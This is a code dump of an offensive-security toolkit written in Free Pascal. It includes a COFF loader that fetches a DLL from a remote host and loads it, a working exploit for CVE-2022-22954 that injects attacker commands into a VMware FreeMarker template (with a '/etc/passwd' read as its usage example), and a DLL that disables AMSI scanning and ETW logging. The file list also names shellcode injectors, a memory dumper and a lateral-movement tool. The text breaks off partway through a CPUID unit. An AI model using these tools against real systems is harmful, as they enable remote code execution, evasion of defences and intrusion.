Full Code of 0xsp-SRD/OffensivePascal for AI

main a663d913035b cached
37 files
242.0 KB
82.7k tokens
1 requests
Download .txt
Showing preview only (254K chars total). Download the full file or copy to clipboard to get everything.
Repository: 0xsp-SRD/OffensivePascal
Branch: main
Commit: a663d913035b
Files: 37
Total size: 242.0 KB

Directory structure:
gitextract_5mnzhpfu/

├── COFF_Loader/
│   ├── README.md
│   ├── project1.lpi
│   ├── project1.lpr
│   └── whoami.o
├── CVE-2022-22954/
│   ├── exploit.lpi
│   ├── exploit.lpr
│   ├── release/
│   │   ├── exploit
│   │   └── file.txt
│   └── usage.md
├── Detour Hooking/
│   ├── AmsiHook.lpi
│   ├── AmsiHook.lpr
│   ├── Source/
│   │   ├── CPUID.pas
│   │   ├── DDetours.pas
│   │   ├── DDetoursDefs.inc
│   │   ├── InstDecode.pas
│   │   ├── LegacyTypes.pas
│   │   ├── ModRmFlagsTables.inc
│   │   ├── OpCodesTables.inc
│   │   └── TlHelp32.inc
│   └── readme.md
├── MiniDump/
│   ├── mini_dump_un.pas
│   ├── minidump.lpi
│   └── minidump.lpr
├── README.md
├── Simple Shellcode injection/
│   ├── info.md
│   ├── injector.lpi
│   └── injector.lpr
├── SpringCore-Scanner/
│   ├── compiled/
│   │   └── Linux/
│   │       ├── readme.md
│   │       └── springcore_sanner
│   ├── readme.md
│   ├── springcore_sanner.lpi
│   └── springcore_sanner.lpr
├── WMI Lateral movement/
│   ├── lat.lpi
│   ├── lat.lpr
│   └── readme.md
└── XOR Shellcode injection/
    ├── injector.lpi
    └── injector.lpr

================================================
FILE CONTENTS
================================================

================================================
FILE: COFF_Loader/README.md
================================================

## Offsec Pascal 

The first ported COFF loader into Pascal Language, it is easier now with the DLL release from sliverarmy fork to integrate Object files with out rewrite the 
whole COFF Loader. 

## what i have did new? 

* the version ported from the following nim project () 
* make sure to host the COFFLoader.x64.dll into your remote host 
* the loader can fetch the remote dll and then load it. 


## usage 

* host your compiled DLL into your remote host, i have attached DLL copied from Lazy-nim github repo,
you can get yours from the following repo https://github.com/sliverarmory/COFFLoader/
* execute the loader 

```
project.exe -o whoami.o -u http://REMOTE/DLLNAME 

```

## Thanks

* https://github.com/sliverarmory/COFFLoader/
* https://github.com/zimnyaa/nim-lazy-bof/tree/main 
* https://github.com/trustedsec/COFFLoader



================================================
FILE: COFF_Loader/project1.lpi
================================================
<?xml version="1.0" encoding="UTF-8"?>
<CONFIG>
  <ProjectOptions>
    <Version Value="12"/>
    <PathDelim Value="\"/>
    <General>
      <Flags>
        <MainUnitHasCreateFormStatements Value="False"/>
        <MainUnitHasTitleStatement Value="False"/>
        <MainUnitHasScaledStatement Value="False"/>
      </Flags>
      <SessionStorage Value="InProjectDir"/>
      <Title Value="project1"/>
      <UseAppBundle Value="False"/>
      <ResourceType Value="res"/>
    </General>
    <BuildModes>
      <Item Name="Default" Default="True"/>
    </BuildModes>
    <PublishOptions>
      <Version Value="2"/>
      <UseFileFilters Value="True"/>
    </PublishOptions>
    <RunParams>
      <FormatVersion Value="2"/>
    </RunParams>
    <Units>
      <Unit>
        <Filename Value="project1.lpr"/>
        <IsPartOfProject Value="True"/>
      </Unit>
    </Units>
  </ProjectOptions>
  <CompilerOptions>
    <Version Value="11"/>
    <PathDelim Value="\"/>
    <Target>
      <Filename Value="project1"/>
    </Target>
    <SearchPaths>
      <IncludeFiles Value="$(ProjOutDir)"/>
      <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/>
    </SearchPaths>
    <CodeGeneration>
      <TargetCPU Value="x86_64"/>
    </CodeGeneration>
  </CompilerOptions>
  <Debugging>
    <Exceptions>
      <Item>
        <Name Value="EAbort"/>
      </Item>
      <Item>
        <Name Value="ECodetoolError"/>
      </Item>
      <Item>
        <Name Value="EFOpenError"/>
      </Item>
    </Exceptions>
  </Debugging>
</CONFIG>


================================================
FILE: COFF_Loader/project1.lpr
================================================
{

  ^^^^^^^
  SIMPLE COFF LOADER IN PASCAL
  ^^^^^^^


 Author : Lawrence @zux0x3a  - Part of Offensive Pascal Lang

 https://0xsp.com



 Ported from : https://github.com/zimnyaa/nim-lazy-bof/tree/main

 Huge thanks to : https://github.com/sliverarmory/COFFLoader/ for the DLL release.



}



program project1;

//{$mode objfpc}{$H+}
 {$mode Delphi}

uses
  dynlibs,
  sysutils,
  classes,
  windows,
  winInet,
  ctypes;

type
  WCHAR = WideChar;
  LPVOID = Pointer;
  cstring = PChar;

const
  MAX_PATH = 260;
  MEM_COMMIT = $1000;
  PAGE_READWRITE = $04;



var
  entrypoint_arg: array[0..10] of byte =
    ($FF, $FF, $FF, $FF, $03, $00, $00, $00, $67, $6F, $00); // len(c"go"), c"go"
  coff_arg: array[0..3] of byte = ($00, $00, $00, $00);

 Coff_file : Tfilestream;

type
  TCallback = function(data: PChar; status: Integer): Integer; cdecl;

//function loadcoff(data: Pointer; length: Integer; callback: TCallback): Integer; cdecl; external coffloader name 'LoadAndRun';

type
  TLoadCoffFunc = function(data: Pointer; length: Integer; callback: TCallback): Integer; stdcall;

var

loadcoff : TloadCoffFunc;


// convert the widestring to string .


function lpwstrc(bytes: array of WCHAR): string;
var
  i: integer;
begin
  SetLength(Result, Length(bytes));
  for i := 0 to Length(bytes) - 1 do
    Result[i+1] := Char(bytes[i]);
end;

function callback(data: cstring; status: integer): integer; cdecl;
begin
  WriteLn('[!] CALLBACK CALLED');
  WriteLn(data);
  Result := 0;
end;



function GetWebPage(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1023] of Byte;
  BytesRead: dWord;
  StrBuffer: String;
begin
  Result := '';
  BytesRead := Default(dWord);
  NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  // NetHandle valid?
  if Assigned(NetHandle) then
    Try
      UrlHandle := InternetOpenUrl(NetHandle, Pchar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

      // UrlHandle valid?
      if Assigned(UrlHandle) then
        Try
          repeat
            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
            SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);
            Result := Result +strBuffer;
          until BytesRead = 0;
        Finally
          InternetCloseHandle(UrlHandle);
        end
      // o/w UrlHandle invalid
      else
        writeln('Cannot open URL: ' + Url);
    Finally
      InternetCloseHandle(NetHandle);
    end
  // NetHandle invalid
  else
    raise Exception.Create('Unable to initialize WinInet');
end;



// main procedure to load COFF files you can refer to the following repo :


procedure Main;
var

  loader_args: LPVOID;
  coffsize: integer;
  i : integer;
  file_name : string;
  l_Handle,MD: Tlibhandle;
  lName,R_URL : string;
  AMemStr : TMemoryStream;
  isokay : boolean;


begin

  isokay := false;
  for i := 0 to paramcount do begin
    if (paramstr(i)='-o') then
    begin
    file_name := paramstr(i+1);
    end;

    if (paramStr(i) ='-u') then begin
    R_URL := paramstr(i+1);
    end;
  end;

  if not FileExists(getcurrentdir+'\APP.dll') then begin
  lName := Getwebpage(R_URL);
  isokay := true;

  end;




  AMemStr := TStringStream.Create;
  AmemStr.Write(lName[1],length(lName) * sizeof(lName[1]));

  if isokay then begin
  AMemStr.SaveToFile(getcurrentdir+'\APP.dll');
  end;

  sleep(1000);


  l_handle := LoadLibrary('APP.dll');
  loadcoff := TloadCoffFunc(GetProcAddress(l_handle,'LoadAndRun'));



  try
  coff_file := TFileStream.Create(file_name, fmOpenRead or fmShareDenyWrite);
  try

    WriteLn('[+] Starting with ', GetLastError());
    WriteLn('[+] Load coff address -> ', PtrUInt(@loadcoff));

    WriteLn('[+] callback function address -> ', PtrUInt(@callback));
    loader_args := VirtualAlloc(nil, 4 + coff_file.Size + Length(entrypoint_arg) + Length(coff_arg), MEM_COMMIT, PAGE_READWRITE);

    WriteLn('[!] VirtualAlloc Address ', GetLastError(), ' to ', PtrUInt(loader_args));


    // "go" entrypoint
    Move(entrypoint_arg[0], loader_args^, Length(entrypoint_arg));

    // file size
    coffsize := coff_file.Size;
    Move(coffsize, (loader_args + Length(entrypoint_arg))^, 4);

    // file bytes
    coff_file.Position := 0;
    coff_file.ReadBuffer((loader_args + Length(entrypoint_arg) + 4)^, coff_file.Size);

    // args
    Move(coff_arg[0], (loader_args + Length(entrypoint_arg) + coff_file.Size + 4)^, Length(coff_arg));

    WriteLn('[!] memory copied');
    WriteLn('[!] args will be: (', PtrUInt(loader_args), ',', PtrUInt(coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4), ',', PtrUInt(@callback), ')');


    // Loading the COFF object file

    loadcoff(loader_args, coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4, @callback);


     finally
     coff_file.Free;

        end;
        except
      on E: exception do
       writeln('[!] choose a vaild file to proceed');
      end;

  end;


begin

  // Program execution

  Main;


end.



================================================
FILE: CVE-2022-22954/exploit.lpi
================================================
<?xml version="1.0" encoding="UTF-8"?>
<CONFIG>
  <ProjectOptions>
    <Version Value="11"/>
    <General>
      <Flags>
        <MainUnitHasCreateFormStatements Value="False"/>
        <MainUnitHasScaledStatement Value="False"/>
      </Flags>
      <SessionStorage Value="InProjectDir"/>
      <MainUnit Value="0"/>
      <Title Value="CVE-2022-22954"/>
      <UseAppBundle Value="False"/>
      <ResourceType Value="res"/>
    </General>
    <LazDoc Paths="libpascurl/source"/>
    <BuildModes Count="3">
      <Item1 Name="Default" Default="True"/>
      <Item2 Name="Debug">
        <CompilerOptions>
          <Version Value="11"/>
          <Target>
            <Filename Value="exploit"/>
          </Target>
          <SearchPaths>
            <IncludeFiles Value="$(ProjOutDir)"/>
            <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/>
          </SearchPaths>
          <Parsing>
            <SyntaxOptions>
              <IncludeAssertionCode Value="True"/>
            </SyntaxOptions>
          </Parsing>
          <CodeGeneration>
            <Checks>
              <IOChecks Value="True"/>
              <RangeChecks Value="True"/>
              <OverflowChecks Value="True"/>
              <StackChecks Value="True"/>
            </Checks>
            <VerifyObjMethodCallValidity Value="True"/>
          </CodeGeneration>
          <Linking>
            <Debugging>
              <DebugInfoType Value="dsDwarf2Set"/>
              <UseHeaptrc Value="True"/>
              <TrashVariables Value="True"/>
              <UseExternalDbgSyms Value="True"/>
            </Debugging>
          </Linking>
        </CompilerOptions>
      </Item2>
      <Item3 Name="Release">
        <CompilerOptions>
          <Version Value="11"/>
          <Target>
            <Filename Value="exploit"/>
          </Target>
          <SearchPaths>
            <IncludeFiles Value="$(ProjOutDir)"/>
            <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/>
          </SearchPaths>
          <CodeGeneration>
            <SmartLinkUnit Value="True"/>
            <Optimizations>
              <OptimizationLevel Value="3"/>
            </Optimizations>
          </CodeGeneration>
          <Linking>
            <Debugging>
              <GenerateDebugInfo Value="False"/>
            </Debugging>
            <LinkSmart Value="True"/>
          </Linking>
        </CompilerOptions>
      </Item3>
    </BuildModes>
    <PublishOptions>
      <Version Value="2"/>
      <UseFileFilters Value="True"/>
    </PublishOptions>
    <RunParams>
      <FormatVersion Value="2"/>
      <Modes Count="0"/>
    </RunParams>
    <Units Count="1">
      <Unit0>
        <Filename Value="exploit.lpr"/>
        <IsPartOfProject Value="True"/>
      </Unit0>
    </Units>
  </ProjectOptions>
  <CompilerOptions>
    <Version Value="11"/>
    <Target>
      <Filename Value="exploit"/>
    </Target>
    <SearchPaths>
      <IncludeFiles Value="$(ProjOutDir)"/>
      <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/>
    </SearchPaths>
  </CompilerOptions>
  <Debugging>
    <Exceptions Count="3">
      <Item1>
        <Name Value="EAbort"/>
      </Item1>
      <Item2>
        <Name Value="ECodetoolError"/>
      </Item2>
      <Item3>
        <Name Value="EFOpenError"/>
      </Item3>
    </Exceptions>
  </Debugging>
</CONFIG>


================================================
FILE: CVE-2022-22954/exploit.lpr
================================================
{

the original PoC has been shared by the following

https://github.com/sherlocksecurity/VMware-CVE-2022-22954
https://twitter.com/HackerGautam/status/1513605802493644800

}



program exploit;

{$mode objfpc}{$H+}

uses
  {$IFDEF UNIX}{$IFDEF UseCThreads}
  cthreads,
  {$ENDIF}{$ENDIF}
  Classes, SysUtils,openssl,
  opensslsockets,CustApp, libcurl
  { you can add units after this };





type

  { TCVE }

  TCVE = class(TCustomApplication)
  protected
    procedure DoRun; override;
  public
    constructor Create(TheOwner: TComponent); override;
    destructor Destroy; override;
    procedure stager; virtual;
    procedure WriteHelp; virtual;
  end;



{ TCVE }

procedure TCVE.DoRun;
var
  ErrorMsg: String;
begin
  // quick check parameters
  ErrorMsg:=CheckOptions('h i c ', 'help');
  if ErrorMsg<>'' then begin
    ShowException(Exception.Create(ErrorMsg));
    Terminate;
    Exit;
  end;

  // parse parameters
  if HasOption('h', 'help') then begin
    WriteHelp;
    Terminate;
    Exit;
  end;

  { add your program here }
   stager;
  // stop program loop
  Terminate;
end;

constructor TCVE.Create(TheOwner: TComponent);
begin
  inherited Create(TheOwner);
  StopOnException:=True;
end;

destructor TCVE.Destroy;
begin
  inherited Destroy;
end;


 function EncodeUrl(url: string): string;
var
  x: integer;
  sBuff: string;
const
  SafeMask = ['A'..'Z', '0'..'9', 'a'..'z', '*', '@', '.', '_', '-'];
begin
  //Init
  sBuff := '';

  for x := 1 to Length(url) do
  begin
    //Check if we have a safe char
    if url[x] in SafeMask then
    begin
      //Append all other chars
      sBuff := sBuff + url[x];
    end
    else if url[x] = ' ' then
    begin
      //Append space
      sBuff := sBuff + '+';
    end
    else
    begin
      //Convert to hex
      sBuff := sBuff + '%' + IntToHex(Ord(url[x]), 2);
    end;
  end;

  Result := sBuff;
end;


function WriteData(Ptr: PChar; MemberSize, MemberCount: UIntPtr; var Data:
string): UIntPtr; cdecl;
var
  S: string;
begin
  SetString(S, Ptr, MemberSize * MemberCount);
  Data := Data + S;
  Result := MemberSize * MemberCount;
end;

function CurlGet(const Url: string; out Data: string; UserAgent: string =
''): Boolean;
var
  Curl: PCURL;
begin
  Data := '';
  Result := False;
  if Url = '' then
    Exit;
  Curl := curl_easy_init();
  if Curl = nil then
    Exit;
  try
    curl_easy_setopt(curl, CURLOPT_URL, [PChar(Url)]);
    if UserAgent <> '' then
      curl_easy_setopt(curl, CURLOPT_USERAGENT, [PChar(UserAgent)]);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [@WriteData]);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, [@Data]);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, [0]);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, [0]);
    Result := curl_easy_perform(curl) = CURLE_OK;
  finally
    curl_easy_cleanup(Curl);
  end;
end;


procedure banner;
 var
   s : string;
begin
   s:= '[!] Coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] https://0xsp.com '+#10;

   writeln(s);
end;


procedure TCVE.stager;
var
  host,command,msg: string;

  payload,end_point,ending,final: string;

begin



  banner;

 host := getoptionvalue('i');
 command := getoptionvalue('c');
 if length(host) > 0 then  begin

  end_point := '/catalog-portal/ui/oauth/verify?error=&deviceUdid=';
  ending := '%22)%7D';
  payload := '$%7B%22freemarker.template.utility.Execute%22?new()(%22';
  final := encodeurl(command);

 CurlGet(host+end_point+payload+final+ending,msg,'Mozilla/5.0 (compatible; fpweb)')
end else
 writeln('[+] choose valid host e.g https://host');

 // write the content of payload
 writeln(msg);

end;

procedure TCVE.WriteHelp;
begin
  { add your help code here }
  writeln('Usage: ', ExeName, ' -h');
end;

var
  Application: TCVE;
begin
  Application:=TCVE.Create(nil);
  Application.Title:='CVE-2022-22954';
  Application.Run;
  Application.Free;
end.



================================================
FILE: CVE-2022-22954/release/file.txt
================================================



================================================
FILE: CVE-2022-22954/usage.md
================================================

## usage 

chmod +x exploit
./exploit -i https://localhost -c "cat /etc/passwd"






================================================
FILE: Detour Hooking/AmsiHook.lpi
================================================
<?xml version="1.0" encoding="UTF-8"?>
<CONFIG>
  <ProjectOptions>
    <Version Value="12"/>
    <PathDelim Value="\"/>
    <General>
      <Flags>
        <MainUnitHasCreateFormStatements Value="False"/>
        <MainUnitHasTitleStatement Value="False"/>
        <MainUnitHasScaledStatement Value="False"/>
      </Flags>
      <SessionStorage Value="InProjectDir"/>
      <Title Value="AmsiHook"/>
      <UseAppBundle Value="False"/>
      <ResourceType Value="res"/>
    </General>
    <BuildModes>
      <Item Name="Default" Default="True"/>
      <Item Name="Debug">
        <CompilerOptions>
          <Version Value="11"/>
          <PathDelim Value="\"/>
          <Target>
            <Filename Value="AmsiHook"/>
          </Target>
          <SearchPaths>
            <IncludeFiles Value="$(ProjOutDir)"/>
            <OtherUnitFiles Value="Source"/>
            <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/>
          </SearchPaths>
          <Parsing>
            <SyntaxOptions>
              <IncludeAssertionCode Value="True"/>
            </SyntaxOptions>
          </Parsing>
          <CodeGeneration>
            <RelocatableUnit Value="True"/>
            <Checks>
              <IOChecks Value="True"/>
              <RangeChecks Value="True"/>
              <OverflowChecks Value="True"/>
              <StackChecks Value="True"/>
            </Checks>
            <VerifyObjMethodCallValidity Value="True"/>
          </CodeGeneration>
          <Linking>
            <Debugging>
              <DebugInfoType Value="dsDwarf3"/>
              <UseHeaptrc Value="True"/>
              <TrashVariables Value="True"/>
              <UseExternalDbgSyms Value="True"/>
            </Debugging>
            <Options>
              <ExecutableType Value="Library"/>
            </Options>
          </Linking>
        </CompilerOptions>
      </Item>
      <Item Name="Release">
        <CompilerOptions>
          <Version Value="11"/>
          <PathDelim Value="\"/>
          <Target>
            <Filename Value="AmsiHook"/>
          </Target>
          <SearchPaths>
            <IncludeFiles Value="$(ProjOutDir)"/>
            <OtherUnitFiles Value="Source"/>
            <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/>
          </SearchPaths>
          <CodeGeneration>
            <SmartLinkUnit Value="True"/>
            <RelocatableUnit Value="True"/>
            <Optimizations>
              <OptimizationLevel Value="3"/>
            </Optimizations>
            <SmallerCode Value="True"/>
          </CodeGeneration>
          <Linking>
            <Debugging>
              <GenerateDebugInfo Value="False"/>
            </Debugging>
            <LinkSmart Value="True"/>
            <Options>
              <ExecutableType Value="Library"/>
            </Options>
          </Linking>
        </CompilerOptions>
      </Item>
    </BuildModes>
    <PublishOptions>
      <Version Value="2"/>
      <UseFileFilters Value="True"/>
    </PublishOptions>
    <RunParams>
      <FormatVersion Value="2"/>
    </RunParams>
    <Units>
      <Unit>
        <Filename Value="AmsiHook.lpr"/>
        <IsPartOfProject Value="True"/>
      </Unit>
      <Unit>
        <Filename Value="Source\DDetours.pas"/>
        <IsPartOfProject Value="True"/>
      </Unit>
    </Units>
  </ProjectOptions>
  <CompilerOptions>
    <Version Value="11"/>
    <PathDelim Value="\"/>
    <Target>
      <Filename Value="AmsiHook"/>
    </Target>
    <SearchPaths>
      <IncludeFiles Value="$(ProjOutDir)"/>
      <OtherUnitFiles Value="Source"/>
      <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/>
    </SearchPaths>
    <CodeGeneration>
      <RelocatableUnit Value="True"/>
    </CodeGeneration>
    <Linking>
      <Options>
        <ExecutableType Value="Library"/>
      </Options>
    </Linking>
  </CompilerOptions>
  <Debugging>
    <Exceptions>
      <Item>
        <Name Value="EAbort"/>
      </Item>
      <Item>
        <Name Value="ECodetoolError"/>
      </Item>
      <Item>
        <Name Value="EFOpenError"/>
      </Item>
    </Exceptions>
  </Debugging>
</CONFIG>


================================================
FILE: Detour Hooking/AmsiHook.lpr
================================================

{

     ** Title : Bypass AMSI / ETW patching using Detour Hooking
     ** Author : @zux0x3a / 0xsp.com

     The following tool considered as part of offensive pascal project and published to highlight the
     capabilities of Free Pascal Language for malware and offensive security tooling development.



  NOTICE:
  This Tool is intended for educational and research purposes.Misuse of this tool for malicious intent or
  illegal activities is strongly discouraged and disclaimed.Users are expected to comply with all applicable laws and regulations.



}


library AmsiHook;

{$mode delphi}

uses
  Classes,windows,DDetours;

  type
  EVENT_DESCRIPTOR = record
    Id : USHORT;
    Version: UCHAR;
    Channel : UCHAR;
    Level : UCHAR;
    Opcode : UCHAR;
    Task : USHORT;
    Keyword : ULONGLONG;
    end;

type
    EVENT_TRACE_HEADER = record
    Size : USHORT;
    HeaderType : UCHAR;
    Flags : UCHAR;
    EventProperty: UCHAR;
    ThreadId : ULONG;
    ProcessId : ULONG;
    TimeStamp : LARGE_INTEGER;
    KernelTime : ULONG;
    UserTime : ULONG;
    ProvderId : GUID;
    EventDescriptor : EVENT_DESCRIPTOR;
    end;

  PCEVENT_TRACE_HEADER = ^EVENT_TRACE_HEADER;
  PCEVENT_DESCRIPTOR = ^EVENT_DESCRIPTOR;






type
 HAMSICONTEXT = Pointer;
 HAMSISESSION = Pointer;
 AMSI_RESULT = Longword;

type
  TOriginalAmsiScanBuffer = function(
    amsiContext: HAMSICONTEXT;
    buffer: PVOID;
    length: ULONG;
    contentName: LPCWSTR;
    amsiSession: HAMSISESSION;
    var result: AMSI_RESULT
  ): HRESULT; stdcall;


type
    TEventWrite = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall;



type

  TEventWriteTransfer = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall;




var
  OriginalAmsiScanBuffer: TOriginalAmsiScanBuffer;
  OriginalEventWrite : TEventWrite = nil;
  OriginalEventTransfer : TEventWriteTransfer = nil;



function InterceptEventWrite(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall;
begin

  Writeln('[+] ETW Hooked !');  // enable it for debugging only
  Result := $80000000;
end;

function InterceptEventTransfer(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall;
begin
Result := $80000000;
end;

function _AmsiScanBuffer(
  amsiContext: HAMSICONTEXT;
  buffer: PVOID;
  length: ULONG;
  contentName: LPCWSTR;
  amsiSession: HAMSISESSION;
  var Scanresult: AMSI_RESULT
): HRESULT; stdcall;
begin
  Writeln('[+] AmsiScanBuffer Hooked !');    // enable it for debugging purposes only
  Scanresult := $00000000   // we are clean :)
end;

procedure AmsiScanBuffer;
begin
  @OriginalAmsiScanBuffer := GetProcAddress(GetModuleHandle('amsi.dll'), 'AmsiScanBuffer');
  if @OriginalAmsiScanBuffer <> nil then
    InterceptCreate(@OriginalAmsiScanBuffer, @_AmsiScanBuffer,nil, []);
end;


procedure ETWHook;
begin

  @OriginalEventWrite := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWrite');
  @OriginalEventTransfer := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWriteTransfer');

   InterceptCreate(@OriginalEventWrite,@interceptEventwrite,nil, []);
   InterceptCreate(@OriginalEventTransfer,@interceptEventTransfer,nil,[])
end;


//exports
//  AmsiScanBuffer;     // no need

begin
  AmsiScanBuffer;
  ETWHook;
end.



================================================
FILE: Detour Hooking/Source/CPUID.pas
================================================
// **************************************************************************************************
// CPUID for Delphi.
// Unit CPUID
// https://github.com/MahdiSafsafi/DDetours
//
// This Source Code Form is subject to the terms of the Mozilla 
// Public License, v. 2.0. If a copy of the MPL was not distributed 
// with this file, You can obtain one at
// https://mozilla.org/MPL/2.0/.
// **************************************************************************************************

unit CPUID;
{$IFDEF FPC}
{$MODE DELPHI}
{$WARN 4055 OFF}
{$WARN 4082 OFF}
{$WARN 5057 OFF}
{$ENDIF FPC}

interface

{$I DDetoursDefs.inc}

uses
  SysUtils
{$IFNDEF FPC}, LegacyTypes{$ENDIF FPC}
    ;

type
  { Do not change registers order ! }
  TCPUIDStruct = packed record
    rEAX: Cardinal; { EAX Register }
    rEBX: Cardinal; { EBX Register }
    rEDX: Cardinal; { EDX Register }
    rECX: Cardinal; { ECX Register }
  end;

  PCPUIDStruct = ^TCPUIDStruct;

procedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct);
function IsCPUIDSupported(): Boolean;

type
  TCPUVendor = (vUnknown, vIntel, vAMD, vNextGen);
  TCPUEncoding = set of (REX, VEX, EVEX);
  TCPUInstructions = set of (iMultiNop);

var
  CPUVendor: TCPUVendor;
  CPUEncoding: TCPUEncoding;
  CPUInsts: TCPUInstructions;

implementation

var
  CPUIDSupported: Boolean = False;

function ___IsCPUIDSupported: Boolean;
asm
  {$IFDEF CPUX64}
  PUSH RCX
  MOV RCX,RCX
  PUSHFQ
  POP RAX
  MOV RCX, RAX
  XOR RAX, $200000
  PUSH RAX
  POPFQ
  PUSHFQ
  POP RAX
  XOR RAX, RCX
  SHR RAX, 21
  AND RAX, 1
  PUSH RCX
  POPFQ
  POP RCX
  {$ELSE !CPUX64}

  PUSH ECX
  PUSHFD
  POP EAX { EAX = EFLAGS }
  MOV ECX, EAX  { Save the original EFLAGS value . }
  {
  CPUID is supported only if we can modify
  bit 21 of EFLAGS register !
   }
  XOR EAX, $200000
  PUSH EAX
  POPFD { Set the new EFLAGS value }
  PUSHFD
  POP EAX { Read EFLAGS }
  {
  Check if the 21 bit was modified !
  If so ==> Return True .
  else  ==> Return False.
   }
  XOR EAX, ECX
  SHR EAX, 21
  AND EAX, 1
  PUSH ECX
  POPFD  { Restore original EFLAGS value . }
  POP ECX
  {$ENDIF CPUX64}
end;

procedure ___CallCPUID(const ID: NativeInt; var CPUIDStruct);
asm
  {
  ALL REGISTERS (rDX,rCX,rBX) MUST BE SAVED BEFORE
  EXECUTING CPUID INSTRUCTION !
   }
  {$IFDEF CPUX64}
  PUSH R9
  PUSH RBX
  PUSH RDX
  MOV RAX,RCX
  MOV R9,RDX
  CPUID
  {$IFNDEF FPC}
  MOV R9.TCPUIDStruct.rEAX,EAX
  MOV R9.TCPUIDStruct.rEBX,EBX
  MOV R9.TCPUIDStruct.rECX,ECX
  MOV R9.TCPUIDStruct.rEDX,EDX
  {$ELSE FPC}
  MOV [R9].TCPUIDStruct.rEAX,EAX
  MOV [R9].TCPUIDStruct.rEBX,EBX
  MOV [R9].TCPUIDStruct.rECX,ECX
  MOV [R9].TCPUIDStruct.rEDX,EDX
  {$ENDIF !FPC}
  POP RDX
  POP RBX
  POP R9
  {$ELSE !CPUX64}

  PUSH EDI
  PUSH ECX
  PUSH EBX
  MOV EDI,EDX
  CPUID
  {$IFNDEF FPC}
  MOV EDI.TCPUIDStruct.rEAX,EAX
  MOV EDI.TCPUIDStruct.rEBX,EBX
  MOV EDI.TCPUIDStruct.rECX,ECX
  MOV EDI.TCPUIDStruct.rEDX,EDX
  {$ELSE FPC}
  MOV [EDI].TCPUIDStruct.rEAX,EAX
  MOV [EDI].TCPUIDStruct.rEBX,EBX
  MOV [EDI].TCPUIDStruct.rECX,ECX
  MOV [EDI].TCPUIDStruct.rEDX,EDX
  {$ENDIF !FPC}
  POP EBX
  POP ECX
  POP EDI
  {$ENDIF CPUX64}
end;

function ___IsAVXSupported: Boolean;
asm
  {
  Checking for AVX support requires 3 steps:

  1) Detect CPUID.1:ECX.OSXSAVE[bit 27] = 1
  => XGETBV enabled for application use

  2) Detect CPUID.1:ECX.AVX[bit 28] = 1
  => AVX instructions supported.

  3) Issue XGETBV and verify that XCR0[2:1] = ‘11b’
  => XMM state and YMM state are enabled by OS.

   }

  { Steps : 1 and 2 }
  {$IFDEF CPUX64}
  MOV RAX, 1
  PUSH RCX
  PUSH RBX
  PUSH RDX
  {$ELSE !CPUX64}
  MOV EAX, 1
  PUSH ECX
  PUSH EBX
  PUSH EDX
  {$ENDIF CPUX64}
  CPUID
  AND ECX, $018000000
  CMP  ECX, $018000000
  JNE  @@NOT_SUPPORTED
  XOR  ECX,ECX
  {
  Delphi does not support XGETBV !
  => We need to use the XGETBV opcodes !
   }
  DB $0F DB $01 DB $D0 // XGETBV
  { Step :3 }
  AND EAX, $06
  CMP  EAX, $06
  JNE @@NOT_SUPPORTED
  MOV EAX, 1
  JMP @@END
@@NOT_SUPPORTED:
  XOR EAX,EAX
@@END:
  {$IFDEF CPUX64}
  POP RDX
  POP RBX
  POP RCX
  {$ELSE !CPUX64}
  POP EDX
  POP EBX
  POP ECX
  {$ENDIF CPUX64}
end;

procedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct);
begin
  FillChar(CPUIDStruct, SizeOf(TCPUIDStruct), #0);
  if not CPUIDSupported then
    raise Exception.Create('CPUID instruction not supported.')
  else
    ___CallCPUID(ID, CPUIDStruct);
end;

function IsCPUIDSupported: Boolean;
begin
  Result := CPUIDSupported;
end;

type
  TVendorName = array [0 .. 12] of AnsiChar;

function GetVendorName(): TVendorName;
var
  Info: PCPUIDStruct;
  P: PByte;
begin
  Result := '';
  if not IsCPUIDSupported then
    Exit;
  Info := GetMemory(SizeOf(TCPUIDStruct));
  CallCPUID(0, Info^);
  P := PByte(NativeInt(Info) + 4); // Skip EAX !
  Move(P^, PByte(@Result[0])^, 12);
  FreeMemory(Info);
end;

procedure __Init__;
var
  vn: TVendorName;
  Info: TCPUIDStruct;
  r: Cardinal;
begin
  CPUVendor := vUnknown;
{$IFDEF CPUX64}
  CPUEncoding := [REX];
{$ELSE !CPUX64}
  CPUEncoding := [];
{$ENDIF CPUX64}
  CPUInsts := [];
  if IsCPUIDSupported then
  begin
    vn := GetVendorName();
    if vn = 'GenuineIntel' then
      CPUVendor := vIntel
    else if vn = 'AuthenticAMD' then
